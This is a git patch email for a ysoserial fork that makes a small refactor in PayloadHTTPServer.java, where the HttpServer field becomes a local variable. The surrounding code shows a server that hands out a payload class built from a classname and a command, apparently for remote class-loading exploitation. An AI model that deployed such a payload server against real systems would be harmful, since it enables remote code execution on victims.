From 76b102917dea272e7016f5d033dc31cf8a998dc1 Mon Sep 17 00:00:00 2001 From: wh1t3P1g Date: Wed, 5 Feb 2020 21:23:49 +0800 Subject: [PATCH] update RMIRefListener2 --- src/main/java/ysoserial/exploit/PayloadHTTPServer.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/main/java/ysoserial/exploit/PayloadHTTPServer.java b/src/main/java/ysoserial/exploit/PayloadHTTPServer.java index 5b3090f9..2d3889fd 100644 --- a/src/main/java/ysoserial/exploit/PayloadHTTPServer.java +++ b/src/main/java/ysoserial/exploit/PayloadHTTPServer.java @@ -21,7 +21,6 @@ public class PayloadHTTPServer implements Runnable{ private int port; private String classname; private String command; - private HttpServer server; public PayloadHTTPServer(int port, String classname, String command) { this.port = port; @@ -47,7 +46,7 @@ public static void main(String[] args) { public void run(){ try { System.err.println("* Opening Payload HTTPServer on " + port); - server = HttpServer.create(new InetSocketAddress(port), 0); + HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); server.createContext("/"+classname+".class", new PayloadHandler(classname, command)); server.setExecutor(null); server.start();